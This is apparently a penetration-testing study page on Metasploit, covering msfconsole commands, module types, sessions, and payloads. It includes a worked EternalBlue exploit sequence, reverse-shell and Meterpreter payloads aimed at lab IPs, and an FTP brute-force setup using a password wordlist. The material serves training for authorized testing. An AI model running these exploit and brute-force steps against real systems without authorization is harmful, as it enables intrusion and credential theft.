☼
⌃
☰

Metasploit

Table of Contents

The most widely used exploitation framework. Provides a consistent interface for finding, configuring, and executing exploits against confirmed vulnerabilities. Used throughout the PT1 path and in real engagements for exploitation, payload delivery, and post-exploitation.

Two interfaces: msfconsole (interactive, most common) and msfdb (database management).

Related: Msfvenom Meterpreter Searchsploit Reverse Shell Post Exploitation Penetration Testing Methodology

Module Types

Type Purpose
exploit Exploits a vulnerability — delivers a payload
payload Code executed on the target after exploitation
auxiliary Scanners, fuzzers, brute-force tools — no payload
post Post-exploitation — run after a session is established
encoder Obfuscates payload to evade detection
nop NOP sleds for shellcode padding

Core msfconsole Commands

TEXT
# Start
msfconsole

# Search for a module
search type:exploit name:eternalblue
search cve:2021-44228
search platform:windows type:exploit smb

# Use a module
use exploit/windows/smb/ms17_010_eternalblue
use 0   # use by search result number

# Show options
show options
show payloads     # compatible payloads for this exploit
show targets      # available targets

# Set options
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Global options (persist across module changes)
setg LHOST 10.10.14.5
setg RHOSTS 10.10.10.10

# Unset
unset RHOSTS
unsetg LHOST

# Run
run
exploit
exploit -j    # run as background job

# Check if target is vulnerable without exploiting
check

Typical Exploitation Workflow

TEXT
1. Identify a vulnerability (Nmap, Searchsploit, manual enumeration)
2. msfconsole → search for relevant module
3. use <module>
4. show options — identify required settings
5. set RHOSTS, LHOST, LPORT, PAYLOAD
6. run / exploit
7. If successful — session opens
8. sessions -l      # list sessions
9. sessions -i 1    # interact with session 1

Sessions

TEXT
# List all open sessions
sessions -l
sessions

# Interact with a session
sessions -i 1

# Background current session (from Meterpreter)
background
Ctrl+Z

# Kill a session
sessions -k 1
sessions -K    # kill all

Payloads

Singles vs Staged

TEXT
windows/shell_reverse_tcp      ← single (self-contained, larger)
windows/shell/reverse_tcp      ← staged (small stager, fetches main payload)

Single  — entire payload in one; more reliable on unstable connections
Staged  — smaller initial payload; requires listener to serve stage

Common payloads

TEXT
# Windows
windows/x64/meterpreter/reverse_tcp
windows/x64/shell_reverse_tcp
windows/x64/meterpreter/bind_tcp

# Linux
linux/x64/meterpreter/reverse_tcp
linux/x64/shell_reverse_tcp

# Web
php/meterpreter_reverse_tcp
java/meterpreter/reverse_tcp

Auxiliary Modules

TEXT
# Port scan
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 22,80,443,445
run

# SMB version detection
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.10
run

# FTP brute force
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 10.10.10.10
set USER_FILE users.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

Database Integration

TEXT
# Start PostgreSQL and Metasploit database
msfdb init
msfdb start

# In msfconsole
db_status               # confirm connection
workspace               # list workspaces
workspace -a mylab      # create and switch workspace
db_nmap -sV 10.10.10.10 # run Nmap and store results
hosts                   # view discovered hosts
services                # view discovered services
vulns                   # view confirmed vulnerabilities

Tips

  • check before exploit when available — confirms vulnerability without full exploitation, useful when you want to avoid triggering the exploit unnecessarily
  • setg for LHOST and LPORT — avoids resetting them every time you switch modules
  • Staged payloads (windows/x64/meterpreter/reverse_tcp) are smaller and often preferred but require a reliable connection; use singles for unstable targets
  • Use exploit -j to run in the background and continue using the console while waiting for a connection
  • See Meterpreter for post-exploitation commands once a session is established